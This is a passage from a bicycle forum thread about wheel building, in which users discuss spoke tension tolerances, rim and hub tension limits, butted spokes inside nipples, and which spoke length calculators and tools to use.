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    boubla, looking at the component list, am I reading this correctly that you paid someone $200 in labor to build those wheels? If so, I would send them back and tell your builder that you expect a lot better, like +/- 5 kgf tolerance.

  87. #87
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    Quote Originally Posted by Schulze View Post
    boubla, looking at the component list, am I reading this correctly that you paid someone $200 in labor to build those wheels? If so, I would send them back and tell your builder that you expect a lot better, like +/- 5 kgf tolerance.
    yes, though it was a little while back, i doubt they'll re-do it (live and learn...). The whole reason I'm getting into this is because it looks so off even without knowing much about wheel building, that I decided to learn how to check all this.

    Anyway, I had a lot more reading since yesterday and indeed its way off. Planning to redo the wheels myself (well really I'm going to play with an old aluminum rim first)

    thanks

    Edit: I casually mentioned the issue to them and despite the long time period they're offering to retension them for free so that's cool (that said I'm still going to train on cheaper wheels as all this got me interested
    Last edited by boubla; 01-18-2017 at 03:50 PM.

  88. #88
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    Tension for wheels is always taken from the rim manufacture.
    I think most rims will fail before the hub flange does.
    But maybe it's best to check both.
    I've always just used the rim as my guide to tension.
    That's why rim manufactures put their recommended tension data
    on the rim. At least Velocity does.

    Quote Originally Posted by Orfitinho View Post
    With such a strong rim, the allowed max tension for the hub flanges is the limit.
    If the hub manufacturer does not limit the tension, i would assume that 120Kgf -130 Kgf is the best bet. That numbers are virtually a standard among wheel builders.

  89. #89
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    Quote Originally Posted by oberwil View Post
    I think most rims will fail before the hub flange does.
    Max allowed tension for hubs can sometimes be found with super light road bike hubs.
    Hubs of tune and extralight are examples, IIRC.

  90. #90
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    this thread is great. I've always had so many internal questions and limited areas to find the answer. now i have this. thx OP

  91. #91
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    1.8 section inside nipple

    I didn't notice this until I started bringing up the tension. I'm using Sapim Race double butted spokes.
    (2 - 1.8 - 2mm) and Sapim alloy 14 mm nipples. At the threaded end of the spoke, the 2mm diameter ends almost immediately after the threads.
    This means the widest part of the spoke is inside the nipple and it is 1.8 mm where the spoke exits the nipple.
    How bad is this ?
    Thanks.

  92. #92
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    Thanks for all the great info... Getting ready to start my first build that will be a new rear for my trail bike. Just found a smoking deal on a WTB i29 29" rim so now the fun begins of getting everything together.
    Already bought the Roger Musson book last year when I busted the leg thinking I would build up a wheel then but never got around to it. Actually between myself and my BIL I should have enough wood to build my own truing stand via the book, so the next thing is acquiring all the necessary tools.

    One question I have is, is there one site that has a better spoke calculator than others? My plan is to use BHS/Bitex rear hub, DT Swiss Super Comp and then standard brass nipples (going for a relatively low cost build) but want to be sure that I am getting accurate measurements.

  93. #93
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    I'm just did a big comparison
    Wheelbuilding resources-spoke-calc-comparison.jpg

    You can see they all come up with pretty much the same numbers.

    Good luck with your build!

    btw, the only reason I'm not going with 261mm for the front L is because I already have 260mm

  94. #94
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    Quote Originally Posted by gregnash View Post
    Already bought the Roger Musson book .................is there one site that has a better spoke calculator than others?
    Errr earth to greg!- Roger's calculator!

    the next thing is acquiring all the necessary tools.
    All you need is a spoke wrench.
    Mike T's home wheelbuilding site - dedicated to providing Newby wheelbuilders with information and motivation.

  95. #95
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    Quote Originally Posted by Mike T. View Post
    Errr earth to greg!- Roger's calculator!


    All you need is a spoke wrench.
    LOL... well I wasn't sure if his on the website was better than others, since I was planning on using the book I had planned on it but just doing some preliminary looking at other spoke calculators I got slightly different results because some asked for more information (or in a different way) than others.

    And already got a spoke wrench (Blue Park one I believe) now come the fun part of ordering 2x200mm spokes with some nipples so I can measure according to the book. Trying to do this right the first time by following the instructions.

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